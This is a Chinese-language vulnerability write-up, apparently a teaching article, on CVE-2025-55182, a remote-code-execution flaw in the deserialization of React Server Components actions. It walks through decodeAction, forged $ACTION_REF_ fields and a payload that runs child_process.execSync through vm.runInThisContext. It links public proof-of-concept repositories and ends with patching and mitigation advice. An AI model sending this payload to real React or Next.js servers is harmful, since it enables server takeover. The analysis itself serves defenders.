React 框架 CVE-2025-55182 RCE CVSS 10.0分析
字数 1772 2025-12-05 12:07:43

React框架CVE-2025-55182 RCE漏洞分析教学文档

一、漏洞概述

CVE编号:CVE-2025-55182
CVSS评分:10.0(最高危)
影响范围:React 19及所有Next.js 15/16项目
漏洞类型:远程代码执行(RCE)
根本原因:React Server Components的Flight协议存在不安全反序列化

二、技术背景

2.1 React Server Components介绍

React Server Components是React 18实验阶段提出、React 19正式稳定的革命性特性,实现了"服务器上直接执行代码、客户端只收纯HTML"的架构模式。

2.2 Server Actions工作机制

async function addToCart(itemId: string) {
  'use server'; // 标记为服务器执行
  await db.cart.add(currentUserId, itemId);
}

// 客户端调用
<form action={addToCart}>
  <input name="itemId" />
  <button>加入购物车</button>
</form>

执行流程

  1. 客户端提交表单数据
  2. React将函数调用序列化,通过Flight协议传输到服务器
  3. 服务器反序列化后直接执行对应函数

三、漏洞详细分析

3.1 漏洞核心机制

React Server Components + Server Actions会将前端提交的FormData中的$\$ACTION_ID字段映射到服务器上的真实函数。decodeAction函数负责:

  1. 从formData找到action字段
  2. 从serverManifest找到模块名
  3. 动态require()模块
  4. 返回模块里的函数引用

3.2 关键代码分析

exports.decodeAction = function(body, serverManifest) {
  var formData = new FormData(), action = null;
  
  body.forEach(function(value, key) {
    if (key.startsWith("$ACTION_")) {
      if (key.startsWith("$ACTION_REF_")) {
        value = "$ACTION_" + key.slice(12) + ":";
        value = decodeBoundActionMetaData(body, serverManifest, value);
        action = loadServerReference(serverManifest, value.id, value.bound);
      } else if (key.startsWith("$ACTION_ID_")) {
        value = key.slice(11);
        action = loadServerReference(serverManifest, value, null);
      }
    } else {
      formData.append(key, value);
    }
  });
  
  return action?.then(fn => fn.bind(null, formData));
};

3.3 Action字段类型分析

3.3.1 $ACTION_REF_类型

允许客户端伪造action实例和bound参数,创建新的action实例:

$ACTION_REF_999=1
$ACTION_999:0=hello
$ACTION_999:1=world

解析结果:

{
  id: "999",
  bound: ["hello", "world"]
}

3.3.2 $ACTION_ID_类型

用于模块调用,如修改密码功能:

<form action={updatePassword}>
  <input type="password" name="newPassword" />
  <button type="submit">Update Password</button>
</form>

生成:$ACTION_ID_UserActions.updatePassword = ""

3.4 利用Node.js vm模块实现RCE

3.4.1 vm模块关键方法

  • runInThisContext:在当前上下文执行代码,可访问全局变量
  • runInNewContext:在隔离的沙箱环境中执行代码

3.4.2 利用process对象

// 恶意payload构造
{
  id: "vm#runInThisContext",
  bound: ["global.process.mainModule.require('child_process').execSync('calc').toString()"]
}

process对象关键属性

属性 作用
process.env 环境变量
process.cwd() 当前工作目录
process.pid 进程ID
process.version Node.js版本
process.platform 操作系统
process.argv 命令行参数
process.exit() 退出进程
process.memoryUsage() 内存信息
process.mainModule 当前程序入口模块(最危险)

3.5 完整攻击链

客户端构造恶意multipart/form-data
    ↓
decodeAction反序列化出恶意服务器函数(actionFn)
    ↓
服务端认为它是正常业务action
    ↓
actionFn({message: ..., user: ...})
    ↓
函数内部执行攻击者构造的payload
    ↓
vm.runInThisContext/Function/require
    ↓
child_process.execSync("calc")
    ↓
RCE成功

四、漏洞验证与测试

4.1 测试环境搭建

参考POC项目:

  • https://github.com/ejpir/CVE-2025-55182-poc
  • https://github.com/sudo-Yangziran/CVE-2025-55182POC

4.2 关键测试点

  1. 验证$ACTION_REF_字段的伪造能力
  2. 测试bound参数注入可行性
  3. 验证vm模块的可访问性
  4. 测试命令执行效果

五、修复方案

5.1 版本升级

Next.js用户:根据主版本号升级到相应补丁版本
React原生用户:确保升级以下包到安全版本:

  • react
  • react-dom
  • react-server-dom-*

5.2 临时缓解措施

  1. WAF拦截:检测和拦截恶意Action字段
  2. 输入验证:严格校验Action ID格式和范围
  3. 模块白名单:限制可动态加载的模块范围

5.3 安全加固建议

  1. 禁用不必要的Node.js内置模块
  2. 实施最小权限原则运行应用
  3. 加强服务器端输入验证和过滤
  4. 定期更新依赖包到最新安全版本

六、总结

CVE-2025-55182是React生态系统中极其严重的安全漏洞,其根本问题在于Flight协议的反序列化机制缺乏足够的安全控制。开发人员应立即采取修复措施,并重新评估Server Components架构的安全性设计。

React框架CVE-2025-55182 RCE漏洞分析教学文档 一、漏洞概述 CVE编号 :CVE-2025-55182 CVSS评分 :10.0(最高危) 影响范围 :React 19及所有Next.js 15/16项目 漏洞类型 :远程代码执行(RCE) 根本原因 :React Server Components的Flight协议存在不安全反序列化 二、技术背景 2.1 React Server Components介绍 React Server Components是React 18实验阶段提出、React 19正式稳定的革命性特性,实现了"服务器上直接执行代码、客户端只收纯HTML"的架构模式。 2.2 Server Actions工作机制 执行流程 : 客户端提交表单数据 React将函数调用序列化,通过Flight协议传输到服务器 服务器反序列化后直接执行对应函数 三、漏洞详细分析 3.1 漏洞核心机制 React Server Components + Server Actions会将前端提交的FormData中的 $\$ACTION_ID 字段映射到服务器上的真实函数。 decodeAction 函数负责: 从formData找到action字段 从serverManifest找到模块名 动态 require() 模块 返回模块里的函数引用 3.2 关键代码分析 3.3 Action字段类型分析 3.3.1 $ACTION_ REF_ 类型 允许客户端伪造action实例和bound参数,创建新的action实例: 解析结果: 3.3.2 $ACTION_ ID_ 类型 用于模块调用,如修改密码功能: 生成: $ACTION_ID_UserActions.updatePassword = "" 3.4 利用Node.js vm模块实现RCE 3.4.1 vm模块关键方法 runInThisContext :在当前上下文执行代码,可访问全局变量 runInNewContext :在隔离的沙箱环境中执行代码 3.4.2 利用process对象 process对象关键属性 : | 属性 | 作用 | |------|------| | process.env | 环境变量 | | process.cwd() | 当前工作目录 | | process.pid | 进程ID | | process.version | Node.js版本 | | process.platform | 操作系统 | | process.argv | 命令行参数 | | process.exit() | 退出进程 | | process.memoryUsage() | 内存信息 | | process.mainModule | 当前程序入口模块(最危险) | 3.5 完整攻击链 四、漏洞验证与测试 4.1 测试环境搭建 参考POC项目: https://github.com/ejpir/CVE-2025-55182-poc https://github.com/sudo-Yangziran/CVE-2025-55182POC 4.2 关键测试点 验证$ACTION_ REF_ 字段的伪造能力 测试bound参数注入可行性 验证vm模块的可访问性 测试命令执行效果 五、修复方案 5.1 版本升级 Next.js用户 :根据主版本号升级到相应补丁版本 React原生用户 :确保升级以下包到安全版本: react react-dom react-server-dom-* 5.2 临时缓解措施 WAF拦截 :检测和拦截恶意Action字段 输入验证 :严格校验Action ID格式和范围 模块白名单 :限制可动态加载的模块范围 5.3 安全加固建议 禁用不必要的Node.js内置模块 实施最小权限原则运行应用 加强服务器端输入验证和过滤 定期更新依赖包到最新安全版本 六、总结 CVE-2025-55182是React生态系统中极其严重的安全漏洞,其根本问题在于Flight协议的反序列化机制缺乏足够的安全控制。开发人员应立即采取修复措施,并重新评估Server Components架构的安全性设计。